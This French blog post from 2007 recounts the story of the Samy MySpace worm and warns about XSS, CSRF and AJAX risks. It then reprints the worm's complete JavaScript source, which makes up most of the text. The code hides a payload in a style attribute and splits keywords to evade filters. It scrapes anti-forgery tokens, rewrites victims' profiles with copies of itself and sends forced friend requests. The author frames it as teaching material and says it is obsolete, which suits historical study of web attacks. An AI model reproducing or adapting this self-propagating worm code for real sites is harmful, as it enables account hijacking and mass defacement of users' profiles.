mars
2007
Samy, c’est l’histoire d’un jeune homme de 19ans, qui en Octobre 2005 lançait un ver qui a marqué l’histoire d’Internet. Le premier ver javascript basé sur XHR capable de s’auto propager à une vitesse phénoménale.
Depuis,Samy a été jugé et a écopé de 3 années de mise à l’épreuve et de 90 jours de travaux d’intérêts généraux. Il a également été condamné à payer des dommages et intérêts à MySpace et n’a plus le droit d’approcher un ordinateur à titre personnel jusqu’à nouvel ordre.
RSnake, le très populaire spécialiste de la sécurité web ( notamment concernant XSS ), raconte son récent déjeuner avec l’auteur des faits.
Je vous invite bien sûr à le lire, si ca vous tente, mais si vous lisez ces lignes de blog actuellement, c’est que ca doit vous tenter ^^
En bref, Samy lui rapporte qu’à la base, il voulait faire une farce à sa petite amie. En piratant mySpace, il voulait changer juste la page d’accueil de sa copine sur mySpace, en y insérerant un texte drôle. En fait de fil en aiguille, il en est arrivé à paralyser mySpace en l’espace de 12 heures après avoir lancé le ver.
Il aura fallu plus de 20 heures à l’équipe de mySpace pour nettoyer, et ils ont bien entendu dû fermer le site.
Samy raconte son histoire sur son site ( en ligne depuis bien longtemps ), horaires, et screenshots à l’appui.
Il donne aussi quelques détails techniques
Pour les intéressés, je poste le code ici, il est publié sur le site de Samy, mais non formaté.
Je vous invite évidemment à vous en servir à titre pédagogique, dans tous les cas, il ne fonctionne plus depuis bien longtemps et est propre à mySpace, de 2005, donc en fait il ne vaut plus rien de nos jours, en matière de ver, j’entends.
Car ce code demeure une prouesse technique extraordinaire.
Il est présent ici pour montrer que, même avec des filtres ( mySpace possédait de nombreux filtres déja à l’époque ), et avec un système de jeton ( token ); HXR est redoutable, et nul n’est à l’abri.
La moindre faille permet d’executer un code sur le client, qui va requetter le serveur, comme un internaute, mais invisible.
Les failles XSS constituent pour la plupart des professionnels, une menace importante de l’Internet avenir, et de nos jours, tout repose sur les développeurs, leurs compétences et leur expérience, en matière de sécurité.
De plus en plus de sites communautaires naissent, ralliant des millions de personnes pour certains. Sites dans lesquels on hésite pas à donner des quantités impressionnantes d’informations très personnelles et variées.
De moins en moins d’applications client lourd sont en place, et inversement de plus en plus passent par un client léger « commun » de nos jours : le navigateur web.
Le navigateur ET le code exécuté doivent être donc tous 2 sans failles, sans compter la sécurité de la connexion.
Le fait que Javascript soit activé par défaut sur plus de 90% de la planète facilite grandement les choses.Je ne vais pas prendre position, mais je ne fais que constater.
Les injections XSS alliées aux CSRF et à AJAX sont redoutables, ca passe à travers tous les firewalls, c’est de la requête HTTP confondable avec un internaute, ca bosse derrière le navigateur de manière absolument transparante pour le commun des mortels, et ça peut faire très mal.
En gros ca peut devenir une grosse saloperie, mais Javascript et AJAX restent la pierre principale de l’enorme édifice qu’est « le web2.0″, un web interactif et très agréable.
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){
var C;
try{
var D=document.body.createTextRange();
C=D.htmlText
}
catch(e){}
if(C){
return C
}else{
return eval('document.body.inne'+'rHTML')
}
}
function getData(AU){
M=getFromURL(AU,'friendID');
L=getFromURL(AU,'Mytoken')
}
function getQueryParams(){
var E=document.location.search;
var F=E.substring(1,E.length).split('&');
var AS=new Array();
for(var O=0;O<F.length;O++){
var I=F[O].split('=');
AS[I[0]]=I[1]
}
return AS
}
var J;
var AS=getQueryParams();
var L=AS['Mytoken'];
var M=AS['friendID'];
if(location.hostname=='profile.myspace.com'){
document.location='http://www.myspace.com'+location.pathname+location.search
}else{
if(!M){
getData(g())
}
main()
}
function getClientFID(){
return findIn(g(),'up_launchIC( '+A,A)
}
function nothing(){
}
function paramsToString(AV){
var N=new String();
var O=0;
for(var P in AV){
if(O>0){
N+='&'
}
var Q=escape(AV[P]);
while(Q.indexOf('+')!=-1){
Q=Q.replace('+','%2B')
}
while(Q.indexOf('&')!=-1){
Q=Q.replace('&','%26')
}
N+=P+'='+Q;O++
}
return N
}
function httpSend(BH,BI,BJ,BK){
if(!J){
return false
}
eval('J.onr'+'eadystatechange=BI');
J.open(BJ,BH,true);
if(BJ=='POST'){
J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length',BK.length)
}
J.send(BK);
return true
}
function findIn(BF,BB,BC){
var R=BF.indexOf(BB)+BB.length;
var S=BF.substring(R,R+1024);
return S.substring(0,S.indexOf(BC))
}
function getHiddenParameter(BF,BG){
return findIn(BF,'name='+B+BG+B+' value='+B,B)
}
function getFromURL(BF,BG){
var T;
if(BG=='Mytoken'){
T=B
}else{
T='&'
}
var U=BG+'=';
var V=BF.indexOf(U)+U.length;
var W=BF.substring(V,V+1024);
var X=W.indexOf(T);
var Y=W.substring(0,X);
return Y
}
function getXMLObj(){
var Z=false;
if(window.XMLHttpRequest){
try{
Z=new XMLHttpRequest()
}
catch(e){
Z=false
}
}else if(window.ActiveXObject){
try{
Z=new ActiveXObject('Msxml2.XMLHTTP')
}
catch(e){
try{
Z=new ActiveXObject('Microsoft.XMLHTTP')
}
catch(e){
Z=false
}
}
}
return Z
}
var AA=g();
var AB=AA.indexOf('m'+'ycode');
var AC=AA.substring(AB,AB+4096);
var AD=AC.indexOf('D'+'IV');
var AE=AC.substring(0,AD);
var AF;
if(AE){
AE=AE.replace('jav'+'a',A+'jav'+'a');
AE=AE.replace('exp'+'r)','exp'+'r)'+A);
AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}
var AG;
function getHome(){
if(J.readyState!=4){
return
}
var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');
AG=AG.substring(61,AG.length);
if(AG.indexOf('samy')==-1){
if(AF){
AG+=AF;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';
AS['submit']='Preview';
AS['interest']=AG;
J=getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
}
}
}
function postHero(){
if(J.readyState!=4){
return
}
var AU=J.responseText;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;
AS['hash']=getHiddenParameter(AU,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function main(){
var AN=getClientFID();
var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
J=getXMLObj();
httpSend(BH,getHome,'GET');
xmlhttp2=getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}
function processxForm(){
if(xmlhttp2.readyState!=4){
return
}
var AU=xmlhttp2.responseText;
var AQ=getHiddenParameter(AU,'hashcode');
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['hashcode']=AQ;
AS['friendID']='11851658';
AS['submit']='Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function httpSend2(BH,BI,BJ,BK){
if(!xmlhttp2){
return false
}
eval('xmlhttp2.onr'+'eadystatechange=BI');
xmlhttp2.open(BJ,BH,true);
if(BJ=='POST'){
xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length',BK.length)
}
xmlhttp2.send(BK);
return true
}
"></DIV>
Commentaires récents
Archives
- novembre 2010
- août 2010
- juillet 2010
- juin 2010
- mai 2010
- avril 2010
- mars 2010
- février 2010
- janvier 2010
- décembre 2009
- novembre 2009
- octobre 2009
- septembre 2009
- août 2009
- juillet 2009
- juin 2009
- mai 2009
- avril 2009
- mars 2009
- février 2009
- janvier 2009
- décembre 2008
- novembre 2008
- octobre 2008
- septembre 2008
- août 2008
- juillet 2008
- juin 2008
- mai 2008
- avril 2008
- mars 2008
- février 2008
- janvier 2008
- décembre 2007
- novembre 2007
- octobre 2007
- septembre 2007
- août 2007
- juillet 2007
- juin 2007
- mai 2007
- avril 2007
- mars 2007
- février 2007